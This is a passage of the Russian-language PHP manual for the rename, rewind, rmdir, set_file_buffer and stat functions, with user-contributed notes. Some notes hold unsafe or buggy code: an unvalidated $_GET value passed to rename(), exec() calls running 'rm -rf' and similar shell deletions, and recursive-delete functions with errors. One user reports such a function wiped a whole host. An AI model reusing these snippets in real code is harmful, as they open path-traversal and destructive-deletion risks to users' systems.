       $dstfile = $directory . '/' . $newfile;

       if (eregi("\.$ext1",$file)) { # Look at only files with a pre-defined extension
       $fileHand = fopen($srcfile, 'r');
       fclose($fileHand);
       rename($srcfile, $dstfile );
       }

       if(is_dir($srcfile)) {
         $num += changeext($srcfile, $ext1, $ext2, $verbose);
       }
     }
   }
   closedir($curdir);
  }
  return $num;
}

changeext('dir', 'html', 'php',  'false');

?>

to remove the extention of files , just leave the parameter $ext2 blank ''
Eric (Themepark.com) 03-Nov-2006 10:31
This was a fun one-- on Win XP, rename throws a "permission deined" if you try to rename across volumes.. i.e. rename("c:\windows\temp\x.txt", "g:\destination") will fail.
David Thole (root at thedarktrumpet.com) 22-Oct-2006 12:20
As of PHP 5.1.4 compiled on a mac, using rename with spaces one should just use the space.   Take for example:

rename("/tmp/somefile.tar", "/mnt/laptop storage/somefile.tar");

If you use the backslash, like if you were cd-ing to the directory, rename will fail.  Example:

rename("/tmp/somefile.tar", "/mnt/laptop\ storage/somefile.tar");

While not really a bug, it did confuse me for a little bit while working on a backup script.
PHP at Drarok dot com 08-Aug-2006 01:57
As described from the unlink() page:
You have to release any handles to the file before you can rename it (True on Windows, at least).
This will NOT work, you'll receive permission denied errors:
<?php
    $fileHand = fopen('tempFile.txt', 'r');
    rename( 'tempFile.txt', 'tempFile2.txt' ); // Permission Denied!
?>

Simply close the handle to fix this:
<?php
    $fileHand = fopen('tempFile.txt', 'r');
    fclose($fileHand);
    rename( 'tempFile.txt', 'tempFile2.txt' );
?>

This has me scratching my head for some time, as the handle was opened at the top of a marge function, and the rename was at the bottom.
php at froghh dot de 19-Jan-2006 03:00
Remark for "php at stock-consulting dot com"'s note:
This depends on the operating system.
On windows-systems you can't rename a file to an existing destination (ok, with tools you can - but they unlink the exisiting one before).
php at stock-consulting dot com 04-Jan-2006 02:36
rename() fails with PHP4 and PHP5 under Windows if the destination file exists, regardless of file permission settings. I now use a function similar to that of ddoyle [at] canadalawbook [dot] ca, which first tries rename(), checks if it returned FALSE and then uses copy()/unlink() if it failed.

However, copy() is, unlike rename(), NOT useable for "atomic updates". Another process may actually access the destination file while copy() is working. In such a case, the other process with perceive the file as empty or with incomplete content ("half written").
php-public at macfreek dot nl 18-Dec-2005 11:33
It is unclear what encoding the arguments of rename should have; For PHP 4.3, on a HFS+ filesystems, rename() did not handle UTF-8 strings, and returned an error.
tbrillon at gmail dot com 14-Sep-2005 01:27
I needed to move a file to another folder regardless if that file existed in the target already so I wrote a small piece to append a unique number to each file.

$rem = $_GET['file'];
$ticket = uniqid(rand(), true);

rename("$rem", "www/home/storefile/$ticket$rem");

the output looks like this - 6881432893ad4925a1.70147481filename.txt

This also helps if you want different versions of the file stored.
ddoyle [at] canadalawbook [dot] ca 07-Sep-2005 03:35
rename() definitely does not follow the *nix rename convention on WinXP with PHP 5.  If the $newname exists, it will return FALSE and $oldname and $newname will remain in their original state.  You can do something like this instead:

function rename_win($oldfile,$newfile) {
   if (!rename($oldfile,$newfile)) {
      if (copy ($oldfile,$newfile)) {
         unlink($oldfile);
         return TRUE;
      }
      return FALSE;
   }
   return TRUE;
}
tomfelker at gmail dot com 11-Aug-2005 02:51
Actually, I'm pretty sure that rename follows the convention of *nix rename(2) in overwriting the destination if it exists atomically (meaning that no other process will see the destination cease to exist, even for an instant).  This is useful because it allows you to build a file as a temp file, then rename it to where you want it to be, and nobody sees the file when it's half done.

Probably rename($old, $new) with an existing new was caused by permission problems.  I bet the other problems you had were the result of not calling clearstatcache(), which can cause PHP to act like a file exists though it has since been deleted.
sophie at sitadelle dot com 14-Nov-2003 08:22
Hello!
For unix/linux users: it is usefull to know that if you use rename() for a directory, the new one will be created with the current umask!
pearcec at commnav dot com 15-Jun-2001 01:17
If you rename one directory to another where the second directory exists as an empty directory it will not complain.

Not what I expected.

[pearcec@abe tmp]$ mkdir test1
[pearcec@abe tmp]$ mkdir test2
[pearcec@abe tmp]$ touch test1/test
[pearcec@abe tmp]$ php
<?php
rename("test1","test2");
?>
X-Powered-By: PHP/4.0.5
Content-type: text/html

[pearcec@abe tmp]$ ls -al
total 12
drwxr-xr-x    3 pearcec  commnav      4096 Jun 15 13:17 .
drwxr-xr-x   18 pearcec  commnav      4096 Jun 15 13:15 ..
drwxr-xr-x    2 pearcec  commnav      4096 Jun 15 13:16 test2
[pearcec@abe tmp]$ ls -la test2/
total 8
drwxr-xr-x    2 pearcec  commnav      4096 Jun 15 13:16 .
drwxr-xr-x    3 pearcec  commnav      4096 Jun 15 13:17 ..
-rw-r--r--    1 pearcec  commnav         0 Jun 15 13:16 test
[pearcec@abe tmp]$
michael-nospam at sal dot mik dot hyperlink dot net dot au 24-Nov-1999 11:43
Note, that on Unix, a rename is a beautiful way of getting atomic updates to files.

Just copy the old contents (if necessary), and write the new contents into a new file, then rename over the original file.

Any processes reading from the file will continue to do so, any processes trying to open the file while you're writing to it will get the old file (because you'll be writing to a temp file), and there is no "intermediate" time between there being a file, and there not being a file (or there being half a file).

Oh, and this only works if you have the temp file and the destination file on the same filesystem (eg. partition/hard-disk).


Сбрасывает курсор файлового указателя

  • « rename
  • rmdir »
  • PHP Manual
  • Функции файловой системы
  • Сбрасывает курсор файлового указателя

rewind

(PHP 4, PHP 5, PHP 7, PHP 8)

rewind — Сбрасывает курсор файлового указателя

Описание

rewind(resource $stream): bool

Устанавливает курсор файлового указателя stream в начало файлового потока.

Замечание:

Если вы открыли файл в режиме "записи в конец" ("a" или "a+"), любые данные, которые вы записываете, будут дописаны в конец файла, независимо от положения курсора.

Список параметров

stream

Файловый указатель должен быть доступным и ссылаться на файл, успешно открытый при помощи fopen().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример перезаписи rewind()

<?php
$handle = fopen('output.txt', 'r+');

fwrite($handle, 'Ужасно длинное предложение.');
rewind($handle);
fwrite($handle, 'Оп');
rewind($handle);

echo fread($handle, filesize('output.txt'));

fclose($handle);
?>

Результатом выполнения данного примера будет что-то подобное:

Опасно длинное предложение.

Смотрите также

  • fread() - Бинарно-безопасное чтение файла
  • fseek() - Устанавливает смещение в файловом указателе
  • ftell() - Возвращает текущую позицию указателя чтения/записи файла
  • fwrite() - Бинарно-безопасная запись в файл

User Contributed Notes

MagicalTux at kinoko dot fr 26-Nov-2007 10:53
Note that rewind($fd) is exactly the same as fseek($fd, 0, SEEK_SET)

rewind() just moves the location inside the file to the beginning, nothing more. Check if your stream is "seekable" before planning to use fseek/rewind.


Удаляет директорию

  • « rewind
  • set_file_buffer »
  • PHP Manual
  • Функции файловой системы
  • Удаляет директорию

rmdir

(PHP 4, PHP 5, PHP 7, PHP 8)

rmdir — Удаляет директорию

Описание

rmdir(string $directory, ?resource $context = null): bool

Пытается удалить директорию с именем directory. Директория должна быть пустой и должны иметься необходимые для этого права. При неудачном выполнении будет сгенерирована ошибка уровня E_WARNING.

Список параметров

directory

Путь к директории.

context

Ресурс (resource) с контекстом потока.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования rmdir()

<?php
if (!is_dir('examples')) {
mkdir('examples');
}

rmdir('examples');
?>

Смотрите также

  • is_dir() - Определяет, является ли имя файла директорией
  • mkdir() - Создаёт директорию
  • unlink() - Удаляет файл

User Contributed Notes

dev dot abi dot log at gmail dot com 31-Aug-2022 12:23
a simple snipped for removing empty dirs recursive :

<?php
function removeEmptyDirs($fullPath)
    {
        if(!is_dir($fullPath)){
            return;
        }

        $children = array_diff(scandir($fullPath), ['.','..']);

        foreach($children as $child){
            removeEmptyDirs($fullPath. $child. DIRECTORY_SEPARATOR);
        }

        $children = array_diff(scandir($fullPath), ['.','..']);
        if(empty($children)){
            echo "the $fullPath empty directory has been removed.\n";
            rmdir($fullPath);
        }
    }
?>
anonymous_user 12-Feb-2021 02:48
// Recursive PHP function to completely remove a directory

function delete_directory_recursively( $path ) {

      $dir = new \DirectoryIterator( $path );

      // Iterate through the subdirectories / files of the provided directory
      foreach ( $dir as $dir_info ) {

        // Exclude the . (current directory) and .. (parent directory) paths
        // from the directory iteration
        if ( ! $dir_info->isDot() ) {

          // Get the full currently iterated path
          $iterated_path = $dir_info->getPathname();

          // If the currently iterated path is a directory
          if ( $dir_info->isDir() ) {

            // which is not empty (in which case scandir returns an array of not 2 (. and ..) elements)
            if ( count( scandir( $iterated_path ) ) !== 2 ) {

              // Call the function recursively
              self::remove_directory_recursively( $iterated_path );

            } else {

              // if the currently iterated path is an empty directory, remove it
              rmdir( $iterated_path );

            }

          } elseif ( $dir_info->isFile() ) {

            // If the currently iterated path describes a file, we need to
            // delete that file
            unlink( $iterated_path );

          }

        } // loop which opens if the currently iterated directory is neither . nor ..

      } // end of iteration through directories / files of provided path

      // After iterating through the subpaths of the provided path, remove the
      // concerned path
      rmdir( $path );

    } // end of delete_directory_recursively() function definition
mmakshita2398 at gmail dot com 08-Mar-2019 08:19
it Will Delete All Fildes in folder and that folder too...

echo $path = 'D:\xampp\htdocs\New folder\New folder';

function rmdir_recursive($dir) {
    $it = new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS);
    $it = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::CHILD_FIRST);
    foreach($it as $file) {
        if ($file->isDir()) rmdir($file->getPathname());
        else unlink($file->getPathname());
    }
    rmdir($dir);
}
rmdir_recursive($path);
Anonymous 25-Sep-2016 10:44
itay at itgoldman's function falls into an infinite loop if the $src directory doesn't exist.
Here's a fix - one should do at least a file_exists() check before the loop:

function rrmdir($src) {
    if (file_exists($src)) {
        $dir = opendir($src);
        while (false !== ($file = readdir($dir))) {
            if (($file != '.') && ($file != '..')) {
                $full = $src . '/' . $file;
                if (is_dir($full)) {
                    rrmdir($full);
                } else {
                    unlink($full);
                }
            }
        }
        closedir($dir);
        rmdir($src);
    }
}

Thanks to itay for the original function, though, it was helpful.
YAPs 03-Jul-2016 09:48
This version delete tree

<?PHP

if(!defined('DS'))define("DS",DIRECTORY_SEPARATOR);

function delTree($folder,$del_root=true)
{
    $folder=trim($folder,DS).DS;
    $f=glob($folder.'*',GLOB_MARK);
    if(count($f)>0)
        foreach($f as $e)
        {
            if(is_dir($e))
                delTree($e);
            else
                unlink($e);
        }
        if($del_root)
            rmdir($folder);
        if(!file_exists($folder))
            return $folder." is deleted";
        else
            return $folder." not deleted";
}
?>
frederico05 dot figueira at gmail dot com 12-May-2016 02:00
//This is one example to delete full directory with all files inside there

function delDir($path){
        if(is_dir($path) == TRUE){
            $rootFolder = scandir($path);
            if(sizeof($rootFolder) > 2){
                foreach($rootFolder as $folder){
                    if($folder != "." && $folder != ".."){
//Pass the subfolder to function
                        delDir($path."/".$folder);
                    }
                }
//On the end of foreach the directory will be cleaned, and you will can use rmdir, to remove it
                rmdir($path);
            }
        }else{
            if(file_exists($path) == TRUE){
                unlink($path);
            }
        }
    }
dj dot thd at hotmail dot com 11-Feb-2016 09:16
Never ever use jurchiks101 at gmail dot com code!!! It contains command injection vulnerability!!!
If you want to do it that way, use something like this instead:

<?php
if (PHP_OS === 'Windows')
{
    exec(sprintf("rd /s /q %s", escapeshellarg($path)));
}
else
{
    exec(sprintf("rm -rf %s", escapeshellarg($path)));
}
?>

Note the escapeshellarg usage to escape any possible unwanted character, this avoids putting commands in $path variable so the possibility of someone "pwning" the server with this code
itay at itgoldman dot com 26-May-2015 05:07
some implementations of recursive folder delete don't work so well (some give warnings, other don't delete hidden files etc).

this one is working fine:
<?php

function rrmdir($src) {
    $dir = opendir($src);
    while(false !== ( $file = readdir($dir)) ) {
        if (( $file != '.' ) && ( $file != '..' )) {
            $full = $src . '/' . $file;
            if ( is_dir($full) ) {
                rrmdir($full);
            }
            else {
                unlink($full);
            }
        }
    }
    closedir($dir);
    rmdir($src);
}

?>
wolfoneil at gmx.de 26-Jan-2015 08:31
I was working on some Dataoperation, and just wanted to share an OOP method with you.

It just removes any contents of a Directory but not the target Directory itself! Its really nice if you want to clean a BackupDirectory or Log.

Also you can test on it if something went wrong or if it just done its Work!

I have it in a FileHandler class for example, enjoy!

<?php

  public function deleteContent($path){
      try{
        $iterator = new DirectoryIterator($path);
        foreach ( $iterator as $fileinfo ) {
          if($fileinfo->isDot())continue;
          if($fileinfo->isDir()){
            if(deleteContent($fileinfo->getPathname()))
              @rmdir($fileinfo->getPathname());
          }
          if($fileinfo->isFile()){
            @unlink($fileinfo->getPathname());
          }
        }
      } catch ( Exception $e ){
         // write log
         return false;
      }
      return true;
    }

?>
ahmadmarafa at gmail dot com 01-Oct-2014 10:32
function unlinkDir($dir)
{
    $dirs = array($dir);
    $files = array() ;
    for($i=0;;$i++)
    {
        if(isset($dirs[$i]))
            $dir =  $dirs[$i];
        else
            break ;

        if($openDir = opendir($dir))
        {
            while($readDir = @readdir($openDir))
            {
                if($readDir != "." && $readDir != "..")
                {

                    if(is_dir($dir."/".$readDir))
                    {
                        $dirs[] = $dir."/".$readDir ;
                    }
                    else
                    {

                        $files[] = $dir."/".$readDir ;
                    }
                }
            }

        }

    }

    foreach($files as $file)
    {
        unlink($file) ;

    }
    $dirs = array_reverse($dirs) ;
    foreach($dirs as $dir)
    {
        rmdir($dir) ;
    }

}
Baraka Mghumba 27-Aug-2014 06:42
Works fine, tested on PHP 5.4(EasyPHP server)
function deletedir($dir)
    {
        if (is_dir($dir))
        {
            $files = scandir($dir);
            foreach ($files as $file)
            {
                if ($file != "." && $file != "..")
                {
                    if (filetype($dir."/".$file) == "dir")
                    {
                        $this->deletedir($dir."/".$file);
                    }
                    else
                    {
                        unlink($dir."/".$file);
                    }
                }
            }
            reset($objects);
            if(rmdir($dir))
            {
                return 'deleted successfully!';
            }
            else
            {
                return 'delete failed!';
            }
        }
        else
        {
            return 'doesn\'t exist or inaccessible!';
        }
    }
Something to note:
You have to take care of file permission if necessary
tuxedobob 21-May-2014 07:13
Keep in mind that if you know what your host OS is, you can always just call the appropriate system call using exec() or the like. For example:

exec('rmdir folder-to-delete /s /q'); //windows
exec('rmdir -rf folder-to-delete'); //OS X/*nix?
lprent at primary dot geek dot nz 21-Jan-2014 10:10
It is rather dangerous to recurse into symbolically linked directories. The delTree should be modified to check for links.

<?php
public static function delTree($dir) {
   $files = array_diff(scandir($dir), array('.','..'));
    foreach ($files as $file) {
      (is_dir("$dir/$file") && !is_link($dir)) ? delTree("$dir/$file") : unlink("$dir/$file");
    }
    return rmdir($dir);
  }
?>
nbari at dalmp dot com 28-Oct-2012 10:36
Glob function doesn't return the hidden files, therefore scandir can be more useful, when trying to delete recursively a tree.

<?php
public static function delTree($dir) {
   $files = array_diff(scandir($dir), array('.','..'));
    foreach ($files as $file) {
      (is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file");
    }
    return rmdir($dir);
  }
?>
Chris Wren 01-Sep-2012 08:29
I also ran into the permissions issue in Windows when deleting a folder and the solution was to close all editors which had files opened which were located in the folder structure.
longears at BLERG dot gmail dot com 29-Mar-2012 07:10
Concise way to recursively remove a directory:

<?php
# recursively remove a directory
function rrmdir($dir) {
    foreach(glob($dir . '/*') as $file) {
        if(is_dir($file))
            rrmdir($file);
        else
            unlink($file);
    }
    rmdir($dir);
}
?>
thomas 21-Nov-2011 12:44
Function deleteAll given by O S on 18-Jun-2010 11:30 will fail at line

while ($contents = readdir($directoryHandle)) {...

if a folder named 0 (zero) is found during traversing the hierarchy
shane dot ray87 at gmail dot com 08-Aug-2011 01:50
This issue has been driving me nuts for hours.

I am running PHP on IIS, I had the wincache module installed, when running a recursive delete a certain folder would get "stuck" and throw permissions errors.  I was not able to delete them with PHP or in windows itself.  The only way to delete the folder was to wait 5 min and run the script again, or stop the IIS server and the folder would delete on its own.  Disabling the wincachce module resolved the issue.

Hope this helps.
samy dot see at gmail dot com 27-Jun-2011 03:38
if you get this problem Permission denied in windows testing your site maybe this will resolve the problem

<?php
if(file_exists($path.'/Thumbs.db')){
    unlink($path.'/Thumbs.db');
}
?>

and then

<?php rmdir($path); ?>
holger1 at NOSPAMzentralplan dot de 26-Jun-2010 02:00
Another simple way to recursively delete a directory that is not empty:

<?php
 function rrmdir($dir) {
   if (is_dir($dir)) {
     $objects = scandir($dir);
     foreach ($objects as $object) {
       if ($object != "." && $object != "..") {
         if (filetype($dir."/".$object) == "dir") rrmdir($dir."/".$object); else unlink($dir."/".$object);
       }
     }
     reset($objects);
     rmdir($dir);
   }
 }
?>
O S 18-Jun-2010 03:30
This isn't my code, but just thought I would share, since it took me so long to find. This is a function to delete a folder, all sub-folders, and files in one clean move.

Just tell it what directory you want deleted, in relation to the page that this function is executed. Then set $empty = true if you want the folder just emptied, but not deleted. If you set $empty = false, or just simply leave it out, the given directory will be deleted, as well.

<?php
function deleteAll($directory, $empty = false) {
    if(substr($directory,-1) == "/") {
        $directory = substr($directory,0,-1);
    }

    if(!file_exists($directory) || !is_dir($directory)) {
        return false;
    } elseif(!is_readable($directory)) {
        return false;
    } else {
        $directoryHandle = opendir($directory);

        while ($contents = readdir($directoryHandle)) {
            if($contents != '.' && $contents != '..') {
                $path = $directory . "/" . $contents;

                if(is_dir($path)) {
                    deleteAll($path);
                } else {
                    unlink($path);
                }
            }
        }

        closedir($directoryHandle);

        if($empty == false) {
            if(!rmdir($directory)) {
                return false;
            }
        }

        return true;
    }
}
?>
info at top-info dot org 28-Apr-2010 04:15
The function delTree is dangerous when you dont take really care. I for example always deleted a temporary directory with it. Everthing went fine until the moment where the var containing this temporary directory wasnt set. The var didnt contain the path but an empty string. The function delTree  was called and deleted all the files at my host!
So dont use this function when you dont have a proper handling coded. Dont think about using this function only for testing without such a handling.
Luckily nothing is lost because I had the local copy...
steffen at wirsching-idstein dot de 16-Jan-2010 05:40
Say, you're working on Windows and continue to get a permission's error without a reason. Then it may be that a different Windows program is working on the folder (see earlier notes also). In the case that you can't find that program, the line

<?php closedir(opendir($dirname)); ?>

may solve the problem!
Make sure to write this before rmdir($dirname);.
omikrosys at gmail dot com 08-Oct-2009 09:52
Sometimes you would face situations in which rmdir($dirname) would give "permission denied" errors though you may have changed $dirname permissions. In such situations just change the permissions of the directory which contains $dirname and rmdir($dirname) would work like a charm.
Say you use rmdir('dirr'); then change the permissions of the folder that contains 'dirr'.
kevin at web-power dot co dot uk 02-Oct-2009 05:51
I had situation where the rmdir was returning warning message as within last loop it was already removed. So here is quick fix by adding is_dir to the DelTree routine below

<?php
function delTree($dir) {
    $files = glob( $dir . '*', GLOB_MARK );
    foreach( $files as $file ){
        if( substr( $file, -1 ) == '/' )
            delTree( $file );
        else
            unlink( $file );
    }

    if (is_dir($dir)) rmdir( $dir );

}
?>
bcairns at gmail dot com 02-Aug-2009 09:59
I wasn't having much luck with the recursive delete functions below, so I wrote my own:

<?php
// ensure $dir ends with a slash
function delTree($dir) {
    $files = glob( $dir . '*', GLOB_MARK );
    foreach( $files as $file ){
        if( substr( $file, -1 ) == '/' )
            delTree( $file );
        else
            unlink( $file );
    }
    rmdir( $dir );
}
?>

Simple.  Works.
asn at asn24 dot dk 06-Jul-2009 09:08
A patch to previous script to make sure rights for deletion is set:

<?php
//Delete folder function
function deleteDirectory($dir) {
    if (!file_exists($dir)) return true;
    if (!is_dir($dir) || is_link($dir)) return unlink($dir);
        foreach (scandir($dir) as $item) {
            if ($item == '.' || $item == '..') continue;
            if (!deleteDirectory($dir . "/" . $item)) {
                chmod($dir . "/" . $item, 0777);
                if (!deleteDirectory($dir . "/" . $item)) return false;
            };
        }
        return rmdir($dir);
    }
?>

[EDITOR NOTE: "Credits to erkethan at free dot fr." - thiago]
TrashF at taistelumarsu dot org 08-Aug-2008 03:21
In case you're trying to rmdir() and you keep getting 'Permission denied' errors, make sure you don't have the directory still open after using opendir(). Especially when writing recursive functions for deleting directories, make sure you have closedir() BEFORE rmdir().
rn at clubfl dot com 18-Dec-2007 10:16
I've noticed that when using this command on a windows platform you may encounter a permissions error which may seem unwarranted. This commonly occurs if you are or were using a program to edit something in the to be deleted folder and either the item is still in the folder or the program that was accessing the file in that folder is still running(causing it to hold onto the folder).

SO... if you get a permissions error and there shouldn't be an issue with folder permissions check if there are files in there then check if there is a program running that is or was using a file that was in that folder and kill it.


Псевдоним stream_set_write_buffer

  • « rmdir
  • stat »
  • PHP Manual
  • Функции файловой системы
  • Псевдоним stream_set_write_buffer

set_file_buffer

(PHP 4, PHP 5, PHP 7, PHP 8)

set_file_buffer — Псевдоним stream_set_write_buffer()

Описание

Функция является псевдонимом: stream_set_write_buffer().

User Contributed Notes

There are no user contributed notes for this page.


Возвращает информацию о файле

  • « set_file_buffer
  • symlink »
  • PHP Manual
  • Функции файловой системы
  • Возвращает информацию о файле

stat

(PHP 4, PHP 5, PHP 7, PHP 8)

stat — Возвращает информацию о файле

Описание

stat(string $filename): array|false

Собирает статистическую информацию о файле filename. Если filename является символической ссылкой, информация собирается о самом файле, а не ссылке. До PHP 7.4.0 в Windows NTS в данном случае строил статистику size, atime, mtime и ctime из символьной ссылки.

Функция lstat() идентична функции stat() за исключением того, что в данном случае она вернёт информацию о самой символической ссылке.

Список параметров

filename

Путь к файлу.

Возвращаемые значения

Формат результата работы функций stat() и fstat()
Числовой | Ассоциативный | Описание
0 | dev | номер устройства ***
1 | ino | номер inode ****
2 | mode | режим защиты inode *****
3 | nlink | количество ссылок
4 | uid | userid владельца *
5 | gid | groupid владельца *
6 | rdev | тип устройства, если устройство inode
7 | size | размер в байтах
8 | atime | время последнего доступа (временная метка Unix)
9 | mtime | время последней модификации (временная метка Unix)
10 | ctime | время последнего изменения inode (временная метка Unix)
11 | blksize | размер блока ввода-вывода файловой системы **
12 | blocks | количество используемых 512-байтных блоков **

* В Windows это всегда будет 0.

** Доступен только на системах, поддерживающих тип st_blksize - другие системы (например, Windows) вернут -1.

*** В Windows, начиная с PHP 7.4.0, это серийный номер тома, содержащего файл, который представляет собой 64-разрядное целое число без знака, поэтому может переполниться в 32-разрядных системах. Ранее это было числовое представление буквы диска (например, 2 для C:) для stat() и 0 для lstat().

**** В Windows, начиная с PHP 7.4.0, идентификатор, связанный с файлом, который представляет собой 64-разрядное целое число без знака, может переполниться в 32-разрядных системах. Ранее он всегда был 0.

***** В Windows бит разрешения на запись устанавливается в соответствии с атрибутом файла только для чтения, одно и то же значение сообщается для всех пользователей, группы и владельца. ACL не учитывается, в отличие от is_writable().

Значение mode содержит информацию, читаемую несколькими функциями. При записи в восьмеричном виде, начиная справа, первые три цифры возвращаются функцией chmod(). Следующая цифра игнорируется PHP. Следующие две цифры указывают тип файла:

mode типов файлов
mode в восьмеричном виде | Значение
0140000 | сокет
0120000 | символическая ссылка
0100000 | обычный файл
0060000 | блочное устройство
0040000 | директория
0020000 | символьное устройство
0010000 | fifo
Так, например, обычный файл может быть 0100644, а директория может быть 0040755.

В случае возникновения ошибки stat() возвращает false.

Замечание: Так как тип integer в PHP является целым числом со знаком, и многие платформы используют 32-х битные целые числа, то некоторые функции файловых систем могут возвращать неожиданные результаты для файлов размером больше 2 Гб.

Ошибки

В случае возникновения ошибки будет сгенерирована ошибка уровня E_WARNING.

Список изменений

Версия | Описание
7.4.0 | В Windows номер устройства теперь является серийным номером тома, содержащего файл и номер inode - это идентификатор, связанный с файлом.
7.4.0 | Статистика символьных ссылок size, atime, mtime и ctime всегда соответствует статистике целевого объекта. Это было ранее не характерно для NTS-сборки на Windows.

Примеры

Пример #1 Пример использования stat()

<?php
/* Получаем статистику файла */
$stat = stat('C:\php\php.exe');

/*
* Выводим последнее время доступа к файлу, это то же самое, что и
* вызов fileatime()
*/
echo 'Последнее время доступа: ' . $stat['atime'];

/*
* Выводим время изменения файла, это то же самое, что и
* вызов filemtime()
*/
echo 'Время изменения: ' . $stat['mtime'];

/* Выводим номер устройства */
echo 'Номер устройства: ' . $stat['dev'];
?>

Пример #2 Использование информации из stat() вместе с touch()

<?php
/* Получаем статистику файла */
$stat = stat('C:\php\php.exe');

/* Удалось получить эту статистику? */
if (!$stat) {
echo 'вызов stat() не удался...';
} else {
/*
* Мы хотим увеличить время последнего доступа к файлу
* на 1 неделю вперёд.
*/
$atime = $stat['atime'] + 604800;

/* Касаемся файла */
if (!touch('some_file.txt', time(), $atime)) {
echo 'Не удалось коснуться файла...';
} else {
echo 'touch() выполнился успешно...';
}
}
?>

Примечания

Замечание:

Учтите, что обработка времени может отличаться в различных файловых системах.

Замечание: Результаты этой функции кешируются. Более подробную информацию смотрите в разделе clearstatcache().

Подсказка

Начиная с PHP 5.0.0, эта функция также может быть использована с некоторыми обёртками url. Список обёрток, поддерживаемых семейством функций stat(), смотрите в разделе Поддерживаемые протоколы и обёртки.

Смотрите также

  • lstat() - Возвращает информацию о файле или символической ссылке
  • fstat() - Получает информацию о файле, используя открытый файловый указатель
  • filemtime() - Возвращает время последнего изменения файла
  • filegroup() - Получает идентификатор группы файла
  • SplFileInfo

User Contributed Notes

Ray.Paseur sometimes uses Gmail 13-Feb-2021 02:49
A good explanation of the "mode" bits is given here:
https://www.php.net/manual/en/function.fileperms.php
carlos [at] encore-lab [dot] com 03-Nov-2014 02:47
stat() may not work on mounted CIFS' in 32 bit systems if you do not specify the option noserverino when mounting. E.g:

mount -t cifs -o user="user",password="password",noserverino //example.local/share /mnt/mount-point

Other functions based on stat() data such as file time functions and is_dir() are affected the same way.

This happens because if you do not specify the option noserverino the remote inode may be 64 bit-based and thus the local system cannot handle it.
webmaster at askapache dot com 22-Jan-2014 05:16
On GNU/Linux you can retrieve the number of currently running processes on the machine by doing a stat for hard links on the '/proc' directory like so:

$ stat -c '%h' /proc
118

You can do the same thing in php by doing a stat on /proc and grabbing the [3] 'nlink' - number of links in the returned array.

Here is the function I'm using, it does a clearstatcache() when called more than once.

<?php

/**
 * Returns the number of running processes
 *
 * @link http://php.net/clearstatcache
 * @link http://php.net/stat  Description of stat syntax.
 * @author http://www.askapache.com/php/get-number-running-proccesses.html
 * @return int
 */
function get_process_count() {
  static $ver, $runs = 0;

  // check if php version supports clearstatcache params, but only check once
  if ( is_null( $ver ) )
    $ver = version_compare( PHP_VERSION, '5.3.0', '>=' );

  // Only call clearstatcache() if function called more than once */
  if ( $runs++ > 0 ) { // checks if $runs > 0, then increments $runs by one.

    // if php version is >= 5.3.0
    if ( $ver ) {
      clearstatcache( true, '/proc' );
    } else {
      // if php version is < 5.3.0
      clearstatcache();
    }
  }

  $stat = stat( '/proc' );

  // if stat succeeds and nlink value is present return it, otherwise return 0
  return ( ( false !== $stat && isset( $stat[3] ) ) ? $stat[3] : 0 );
}

?>

Example #1 get_process_count() example

<?php
$num_procs = get_process_count();
var_dump( $num_procs );
?>

The above example will output:

int(118)

Which is the number of processes that were running.
digitalaudiorock at hotmail dot com 12-Dec-2008 08:23
Regarding the stat() on files larger than 2GB on 32 bit systems not working, note that the behavior appears to differ between Linux and Windows.  Under Windows there's so way to know whether or not this failed.

It's been my experience that under Linux, performing a stat() on files that are too large for the integer size generates a warning and returns false.  However under Windows it silently truncates the high order bits of the size resulting in an incorrect number.  The only way you'd ever know it failed is in the event that the truncation happened to leave the sign bit on resulting in a negative size.  That is, there is _no_ reliable way to know it failed.

This is true of filesize() as well.

Tom
webmaster at askapache dot com 26-Nov-2008 01:20
This is a souped up 'stat' function based on
many user-submitted code snippets and
@ http://www.askapache.com/security/chmod-stat.html

Give it a filename, and it returns an array like stat.

<?php

function alt_stat($file) {

 clearstatcache();
 $ss=@stat($file);
 if(!$ss) return false; //Couldnt stat file

 $ts=array(
  0140000=>'ssocket',
  0120000=>'llink',
  0100000=>'-file',
  0060000=>'bblock',
  0040000=>'ddir',
  0020000=>'cchar',
  0010000=>'pfifo'
 );

 $p=$ss['mode'];
 $t=decoct($ss['mode'] & 0170000); // File Encoding Bit

 $str =(array_key_exists(octdec($t),$ts))?$ts[octdec($t)]{0}:'u';
 $str.=(($p&0x0100)?'r':'-').(($p&0x0080)?'w':'-');
 $str.=(($p&0x0040)?(($p&0x0800)?'s':'x'):(($p&0x0800)?'S':'-'));
 $str.=(($p&0x0020)?'r':'-').(($p&0x0010)?'w':'-');
 $str.=(($p&0x0008)?(($p&0x0400)?'s':'x'):(($p&0x0400)?'S':'-'));
 $str.=(($p&0x0004)?'r':'-').(($p&0x0002)?'w':'-');
 $str.=(($p&0x0001)?(($p&0x0200)?'t':'x'):(($p&0x0200)?'T':'-'));

 $s=array(
 'perms'=>array(
  'umask'=>sprintf("%04o",@umask()),
  'human'=>$str,
  'octal1'=>sprintf("%o", ($ss['mode'] & 000777)),
  'octal2'=>sprintf("0%o", 0777 & $p),
  'decimal'=>sprintf("%04o", $p),
  'fileperms'=>@fileperms($file),
  'mode1'=>$p,
  'mode2'=>$ss['mode']),

 'owner'=>array(
  'fileowner'=>$ss['uid'],
  'filegroup'=>$ss['gid'],
  'owner'=>
  (function_exists('posix_getpwuid'))?
  @posix_getpwuid($ss['uid']):'',
  'group'=>
  (function_exists('posix_getgrgid'))?
  @posix_getgrgid($ss['gid']):''
  ),

 'file'=>array(
  'filename'=>$file,
  'realpath'=>(@realpath($file) != $file) ? @realpath($file) : '',
  'dirname'=>@dirname($file),
  'basename'=>@basename($file)
  ),

 'filetype'=>array(
  'type'=>substr($ts[octdec($t)],1),
  'type_octal'=>sprintf("%07o", octdec($t)),
  'is_file'=>@is_file($file),
  'is_dir'=>@is_dir($file),
  'is_link'=>@is_link($file),
  'is_readable'=> @is_readable($file),
  'is_writable'=> @is_writable($file)
  ),

 'device'=>array(
  'device'=>$ss['dev'], //Device
  'device_number'=>$ss['rdev'], //Device number, if device.
  'inode'=>$ss['ino'], //File serial number
  'link_count'=>$ss['nlink'], //link count
  'link_to'=>($s['type']=='link') ? @readlink($file) : ''
  ),

 'size'=>array(
